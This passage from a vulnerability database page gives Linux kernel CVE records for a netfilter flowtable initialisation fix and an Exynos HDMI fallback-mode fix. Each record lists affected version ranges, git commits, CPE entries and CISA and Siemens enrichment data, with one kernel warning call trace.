          "url": "https://git.kernel.org/stable/c/ac90e22e735bac44f74b5161fb096fbeb0ff8bc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/4afa0246656d5680c8a4c3fb37ba6570c4ab819b"
        },
        {
          "url": "https://git.kernel.org/stable/c/24355fcb0d4cbcb6ddda262596558e8cfba70f11"
        }
      ],
      "title": "wifi: ath9k: delay all of ath9k_wmi_event_tasklet() until init is complete",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26897",
    "datePublished": "2024-04-17T10:27:47.842Z",
    "dateReserved": "2024-02-19T14:20:24.186Z",
    "dateUpdated": "2026-05-12T11:50:15.589Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-45018 (GCVE-0-2024-45018)

Vulnerability from cvelistv5 – Published: 2024-09-11 15:13 – Updated: 2026-05-12 11:57

Title

netfilter: flowtable: initialise extack before use

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: flowtable: initialise extack before use Fix missing initialisation of extack in flow offload.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/e5ceff2196dc633c9…
https://git.kernel.org/stable/c/356beb911b63a8cff…
https://git.kernel.org/stable/c/7eafeec6be68ebd61…
https://git.kernel.org/stable/c/c7b760499f7791352…
https://git.kernel.org/stable/c/119be227bc04f5035…
https://git.kernel.org/stable/c/e9767137308daf906…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c29f74e0df7a02b8303bcdce93a7c0132d62577a , < e5ceff2196dc633c995afb080f6f44a72cff6e1d (git) Affected: c29f74e0df7a02b8303bcdce93a7c0132d62577a , < 356beb911b63a8cff34cb57f755c2a2d2ee9dec7 (git) Affected: c29f74e0df7a02b8303bcdce93a7c0132d62577a , < 7eafeec6be68ebd6140a830ce9ae68ad5b67ec78 (git) Affected: c29f74e0df7a02b8303bcdce93a7c0132d62577a , < c7b760499f7791352b49b11667ed04b23d7f5b0f (git) Affected: c29f74e0df7a02b8303bcdce93a7c0132d62577a , < 119be227bc04f5035efa64cb823b8a5ca5e2d1c1 (git) Affected: c29f74e0df7a02b8303bcdce93a7c0132d62577a , < e9767137308daf906496613fd879808a07f006a2 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.225 , ≤ 5.10.* (semver) Unaffected: 5.15.166 , ≤ 5.15.* (semver) Unaffected: 6.1.107 , ≤ 6.1.* (semver) Unaffected: 6.6.48 , ≤ 6.6.* (semver) Unaffected: 6.10.7 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-45018",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T15:48:48.250822Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T15:49:02.005Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:15:25.362Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:30.406Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_flow_table_offload.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e5ceff2196dc633c995afb080f6f44a72cff6e1d",
              "status": "affected",
              "version": "c29f74e0df7a02b8303bcdce93a7c0132d62577a",
              "versionType": "git"
            },
            {
              "lessThan": "356beb911b63a8cff34cb57f755c2a2d2ee9dec7",
              "status": "affected",
              "version": "c29f74e0df7a02b8303bcdce93a7c0132d62577a",
              "versionType": "git"
            },
            {
              "lessThan": "7eafeec6be68ebd6140a830ce9ae68ad5b67ec78",
              "status": "affected",
              "version": "c29f74e0df7a02b8303bcdce93a7c0132d62577a",
              "versionType": "git"
            },
            {
              "lessThan": "c7b760499f7791352b49b11667ed04b23d7f5b0f",
              "status": "affected",
              "version": "c29f74e0df7a02b8303bcdce93a7c0132d62577a",
              "versionType": "git"
            },
            {
              "lessThan": "119be227bc04f5035efa64cb823b8a5ca5e2d1c1",
              "status": "affected",
              "version": "c29f74e0df7a02b8303bcdce93a7c0132d62577a",
              "versionType": "git"
            },
            {
              "lessThan": "e9767137308daf906496613fd879808a07f006a2",
              "status": "affected",
              "version": "c29f74e0df7a02b8303bcdce93a7c0132d62577a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_flow_table_offload.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.225",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.166",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.107",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.48",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.225",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.166",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.107",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.48",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.7",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: initialise extack before use\n\nFix missing initialisation of extack in flow offload."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:33:52.372Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e5ceff2196dc633c995afb080f6f44a72cff6e1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/356beb911b63a8cff34cb57f755c2a2d2ee9dec7"
        },
        {
          "url": "https://git.kernel.org/stable/c/7eafeec6be68ebd6140a830ce9ae68ad5b67ec78"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7b760499f7791352b49b11667ed04b23d7f5b0f"
        },
        {
          "url": "https://git.kernel.org/stable/c/119be227bc04f5035efa64cb823b8a5ca5e2d1c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/e9767137308daf906496613fd879808a07f006a2"
        }
      ],
      "title": "netfilter: flowtable: initialise extack before use",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-45018",
    "datePublished": "2024-09-11T15:13:53.297Z",
    "dateReserved": "2024-08-21T05:34:56.683Z",
    "dateUpdated": "2026-05-12T11:57:30.406Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40916 (GCVE-0-2024-40916)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:24 – Updated: 2026-05-12 11:55

Title

drm/exynos: hdmi: report safe 640x480 mode as a fallback when no EDID found

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/exynos: hdmi: report safe 640x480 mode as a fallback when no EDID found When reading EDID fails and driver reports no modes available, the DRM core adds an artificial 1024x786 mode to the connector. Unfortunately some variants of the Exynos HDMI (like the one in Exynos4 SoCs) are not able to drive such mode, so report a safe 640x480 mode instead of nothing in case of the EDID reading failure. This fixes the following issue observed on Trats2 board since commit 13d5b040363c ("drm/exynos: do not return negative values from .get_modes()"): [drm] Exynos DRM: using 11c00000.fimd device for DMA mapping operations exynos-drm exynos-drm: bound 11c00000.fimd (ops fimd_component_ops) exynos-drm exynos-drm: bound 12c10000.mixer (ops mixer_component_ops) exynos-dsi 11c80000.dsi: [drm:samsung_dsim_host_attach] Attached s6e8aa0 device (lanes:4 bpp:24 mode-flags:0x10b) exynos-drm exynos-drm: bound 11c80000.dsi (ops exynos_dsi_component_ops) exynos-drm exynos-drm: bound 12d00000.hdmi (ops hdmi_component_ops) [drm] Initialized exynos 1.1.0 20180330 for exynos-drm on minor 1 exynos-hdmi 12d00000.hdmi: [drm:hdmiphy_enable.part.0] *ERROR* PLL could not reach steady state panel-samsung-s6e8aa0 11c80000.dsi.0: ID: 0xa2, 0x20, 0x8c exynos-mixer 12c10000.mixer: timeout waiting for VSYNC ------------[ cut here ]------------ WARNING: CPU: 1 PID: 11 at drivers/gpu/drm/drm_atomic_helper.c:1682 drm_atomic_helper_wait_for_vblanks.part.0+0x2b0/0x2b8 [CRTC:70:crtc-1] vblank wait timed out Modules linked in: CPU: 1 PID: 11 Comm: kworker/u16:0 Not tainted 6.9.0-rc5-next-20240424 #14913 Hardware name: Samsung Exynos (Flattened Device Tree) Workqueue: events_unbound deferred_probe_work_func Call trace: unwind_backtrace from show_stack+0x10/0x14 show_stack from dump_stack_lvl+0x68/0x88 dump_stack_lvl from __warn+0x7c/0x1c4 __warn from warn_slowpath_fmt+0x11c/0x1a8 warn_slowpath_fmt from drm_atomic_helper_wait_for_vblanks.part.0+0x2b0/0x2b8 drm_atomic_helper_wait_for_vblanks.part.0 from drm_atomic_helper_commit_tail_rpm+0x7c/0x8c drm_atomic_helper_commit_tail_rpm from commit_tail+0x9c/0x184 commit_tail from drm_atomic_helper_commit+0x168/0x190 drm_atomic_helper_commit from drm_atomic_commit+0xb4/0xe0 drm_atomic_commit from drm_client_modeset_commit_atomic+0x23c/0x27c drm_client_modeset_commit_atomic from drm_client_modeset_commit_locked+0x60/0x1cc drm_client_modeset_commit_locked from drm_client_modeset_commit+0x24/0x40 drm_client_modeset_commit from __drm_fb_helper_restore_fbdev_mode_unlocked+0x9c/0xc4 __drm_fb_helper_restore_fbdev_mode_unlocked from drm_fb_helper_set_par+0x2c/0x3c drm_fb_helper_set_par from fbcon_init+0x3d8/0x550 fbcon_init from visual_init+0xc0/0x108 visual_init from do_bind_con_driver+0x1b8/0x3a4 do_bind_con_driver from do_take_over_console+0x140/0x1ec do_take_over_console from do_fbcon_takeover+0x70/0xd0 do_fbcon_takeover from fbcon_fb_registered+0x19c/0x1ac fbcon_fb_registered from register_framebuffer+0x190/0x21c register_framebuffer from __drm_fb_helper_initial_config_and_unlock+0x350/0x574 __drm_fb_helper_initial_config_and_unlock from exynos_drm_fbdev_client_hotplug+0x6c/0xb0 exynos_drm_fbdev_client_hotplug from drm_client_register+0x58/0x94 drm_client_register from exynos_drm_bind+0x160/0x190 exynos_drm_bind from try_to_bring_up_aggregate_device+0x200/0x2d8 try_to_bring_up_aggregate_device from __component_add+0xb0/0x170 __component_add from mixer_probe+0x74/0xcc mixer_probe from platform_probe+0x5c/0xb8 platform_probe from really_probe+0xe0/0x3d8 really_probe from __driver_probe_device+0x9c/0x1e4 __driver_probe_device from driver_probe_device+0x30/0xc0 driver_probe_device from __device_attach_driver+0xa8/0x120 __device_attach_driver from bus_for_each_drv+0x80/0xcc bus_for_each_drv from __device_attach+0xac/0x1fc __device_attach from bus_probe_device+0x8c/0x90 bus_probe_device from deferred_probe_work_func+0 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/e23f2eaf51ecb6ab4…
https://git.kernel.org/stable/c/4dfffb50316c761c5…
https://git.kernel.org/stable/c/6d6bb258d886e124e…
https://git.kernel.org/stable/c/c3ca24dfe9a2b3f4e…
https://git.kernel.org/stable/c/35bcf16b4a28c1092…
https://git.kernel.org/stable/c/510a6c0dfa6ec61d0…
https://git.kernel.org/stable/c/799d4b392417ed688…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 348aa3d47e8bc2fa4e5b8079554724343631b82a , < e23f2eaf51ecb6ab4ceb770e747d50c1db2eb222 (git) Affected: a8cb3b072403ce0748d368278bc7ab87d15e90a7 , < 4dfffb50316c761c59386c9b002a10ac6d7bb6c9 (git) Affected: 912c149a52c37a2f8199449360bf392ae4ef7f4c , < 6d6bb258d886e124e5a5328e947b36fdcb3a6028 (git) Affected: 8f914db6fe252c5e78a9b8b03adc1b0a33aec25d , < c3ca24dfe9a2b3f4e8899af108829b0f4b4b15ec (git) Affected: b71ae5fb2dd3c89c66efa613dccffc45c246c8b9 , < 35bcf16b4a28c10923ff391d14f6ed0ae471ee5f (git) Affected: 13d5b040363c7ec0ac29c2de9cf661a24a8aa531 , < 510a6c0dfa6ec61d07a4b64698d8dc60045bd632 (git) Affected: 13d5b040363c7ec0ac29c2de9cf661a24a8aa531 , < 799d4b392417ed6889030a5b2335ccb6dcf030ab (git) Affected: d930ab0399c350f9da9c64030daca368c78e2f51 (git) Affected: 1cef1ef376c6421bb18e2185b5e10973bc272136 (git)
Linux	Linux	Affected: 6.9 Unaffected: 0 , < 6.9 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:57:47.885Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e23f2eaf51ecb6ab4ceb770e747d50c1db2eb222"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4dfffb50316c761c59386c9b002a10ac6d7bb6c9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6d6bb258d886e124e5a5328e947b36fdcb3a6028"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c3ca24dfe9a2b3f4e8899af108829b0f4b4b15ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/35bcf16b4a28c10923ff391d14f6ed0ae471ee5f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/510a6c0dfa6ec61d07a4b64698d8dc60045bd632"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/799d4b392417ed6889030a5b2335ccb6dcf030ab"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40916",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:05:46.451559Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:04.124Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:41.547Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/exynos/exynos_hdmi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e23f2eaf51ecb6ab4ceb770e747d50c1db2eb222",
              "status": "affected",
              "version": "348aa3d47e8bc2fa4e5b8079554724343631b82a",
              "versionType": "git"
            },
            {
              "lessThan": "4dfffb50316c761c59386c9b002a10ac6d7bb6c9",
              "status": "affected",
              "version": "a8cb3b072403ce0748d368278bc7ab87d15e90a7",
              "versionType": "git"
            },
            {
              "lessThan": "6d6bb258d886e124e5a5328e947b36fdcb3a6028",
              "status": "affected",
              "version": "912c149a52c37a2f8199449360bf392ae4ef7f4c",
              "versionType": "git"
            },
            {
              "lessThan": "c3ca24dfe9a2b3f4e8899af108829b0f4b4b15ec",
              "status": "affected",
              "version": "8f914db6fe252c5e78a9b8b03adc1b0a33aec25d",
              "versionType": "git"
            },
            {
              "lessThan": "35bcf16b4a28c10923ff391d14f6ed0ae471ee5f",
              "status": "affected",
              "version": "b71ae5fb2dd3c89c66efa613dccffc45c246c8b9",
              "versionType": "git"
            },
            {
              "lessThan": "510a6c0dfa6ec61d07a4b64698d8dc60045bd632",
              "status": "affected",
              "version": "13d5b040363c7ec0ac29c2de9cf661a24a8aa531",
              "versionType": "git"
            },
            {
              "lessThan": "799d4b392417ed6889030a5b2335ccb6dcf030ab",
              "status": "affected",
              "version": "13d5b040363c7ec0ac29c2de9cf661a24a8aa531",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "d930ab0399c350f9da9c64030daca368c78e2f51",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "1cef1ef376c6421bb18e2185b5e10973bc272136",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/exynos/exynos_hdmi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.9"
            },
            {
              "lessThan": "6.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.4.274",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "6.1.84",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "6.6.24",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.8.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/exynos: hdmi: report safe 640x480 mode as a fallback when no EDID found\n\nWhen reading EDID fails and driver reports no modes available, the DRM\ncore adds an artificial 1024x786 mode to the connector. Unfortunately\nsome variants of the Exynos HDMI (like the one in Exynos4 SoCs) are not\nable to drive such mode, so report a safe 640x480 mode instead of nothing\nin case of the EDID reading failure.\n\nThis fixes the following issue observed on Trats2 board since commit\n13d5b040363c (\"drm/exynos: do not return negative values from .get_modes()\"):\n\n[drm] Exynos DRM: using 11c00000.fimd device for DMA mapping operations\nexynos-drm exynos-drm: bound 11c00000.fimd (ops fimd_component_ops)\nexynos-drm exynos-drm: bound 12c10000.mixer (ops mixer_component_ops)\nexynos-dsi 11c80000.dsi: [drm:samsung_dsim_host_attach] Attached s6e8aa0 device (lanes:4 bpp:24 mode-flags:0x10b)\nexynos-drm exynos-drm: bound 11c80000.dsi (ops exynos_dsi_component_ops)\nexynos-drm exynos-drm: bound 12d00000.hdmi (ops hdmi_component_ops)\n[drm] Initialized exynos 1.1.0 20180330 for exynos-drm on minor 1\nexynos-hdmi 12d00000.hdmi: [drm:hdmiphy_enable.part.0] *ERROR* PLL could not reach steady state\npanel-samsung-s6e8aa0 11c80000.dsi.0: ID: 0xa2, 0x20, 0x8c\nexynos-mixer 12c10000.mixer: timeout waiting for VSYNC\n------------[ cut here ]------------\nWARNING: CPU: 1 PID: 11 at drivers/gpu/drm/drm_atomic_helper.c:1682 drm_atomic_helper_wait_for_vblanks.part.0+0x2b0/0x2b8\n[CRTC:70:crtc-1] vblank wait timed out\nModules linked in:\nCPU: 1 PID: 11 Comm: kworker/u16:0 Not tainted 6.9.0-rc5-next-20240424 #14913\nHardware name: Samsung Exynos (Flattened Device Tree)\nWorkqueue: events_unbound deferred_probe_work_func\nCall trace:\n unwind_backtrace from show_stack+0x10/0x14\n show_stack from dump_stack_lvl+0x68/0x88\n dump_stack_lvl from __warn+0x7c/0x1c4\n __warn from warn_slowpath_fmt+0x11c/0x1a8\n warn_slowpath_fmt from drm_atomic_helper_wait_for_vblanks.part.0+0x2b0/0x2b8\n drm_atomic_helper_wait_for_vblanks.part.0 from drm_atomic_helper_commit_tail_rpm+0x7c/0x8c\n drm_atomic_helper_commit_tail_rpm from commit_tail+0x9c/0x184\n commit_tail from drm_atomic_helper_commit+0x168/0x190\n drm_atomic_helper_commit from drm_atomic_commit+0xb4/0xe0\n drm_atomic_commit from drm_client_modeset_commit_atomic+0x23c/0x27c\n drm_client_modeset_commit_atomic from drm_client_modeset_commit_locked+0x60/0x1cc\n drm_client_modeset_commit_locked from drm_client_modeset_commit+0x24/0x40\n drm_client_modeset_commit from __drm_fb_helper_restore_fbdev_mode_unlocked+0x9c/0xc4\n __drm_fb_helper_restore_fbdev_mode_unlocked from drm_fb_helper_set_par+0x2c/0x3c\n drm_fb_helper_set_par from fbcon_init+0x3d8/0x550\n fbcon_init from visual_init+0xc0/0x108\n visual_init from do_bind_con_driver+0x1b8/0x3a4\n do_bind_con_driver from do_take_over_console+0x140/0x1ec\n do_take_over_console from do_fbcon_takeover+0x70/0xd0\n do_fbcon_takeover from fbcon_fb_registered+0x19c/0x1ac\n fbcon_fb_registered from register_framebuffer+0x190/0x21c\n register_framebuffer from __drm_fb_helper_initial_config_and_unlock+0x350/0x574\n __drm_fb_helper_initial_config_and_unlock from exynos_drm_fbdev_client_hotplug+0x6c/0xb0\n exynos_drm_fbdev_client_hotplug from drm_client_register+0x58/0x94\n drm_client_register from exynos_drm_bind+0x160/0x190\n exynos_drm_bind from try_to_bring_up_aggregate_device+0x200/0x2d8\n try_to_bring_up_aggregate_device from __component_add+0xb0/0x170\n __component_add from mixer_probe+0x74/0xcc\n mixer_probe from platform_probe+0x5c/0xb8\n platform_probe from really_probe+0xe0/0x3d8\n really_probe from __driver_probe_device+0x9c/0x1e4\n __driver_probe_device from driver_probe_device+0x30/0xc0\n driver_probe_device from __device_attach_driver+0xa8/0x120\n __device_attach_driver from bus_for_each_drv+0x80/0xcc\n bus_for_each_drv from __device_attach+0xac/0x1fc\n __device_attach from bus_probe_device+0x8c/0x90\n bus_probe_device from deferred_probe_work_func+0\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:18.665Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e23f2eaf51ecb6ab4ceb770e747d50c1db2eb222"
        },
        {
          "url": "https://git.kernel.org/stable/c/4dfffb50316c761c59386c9b002a10ac6d7bb6c9"
        },
        {
          "url": "https://git.kernel.org/stable/c/6d6bb258d886e124e5a5328e947b36fdcb3a6028"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3ca24dfe9a2b3f4e8899af108829b0f4b4b15ec"
        },
        {
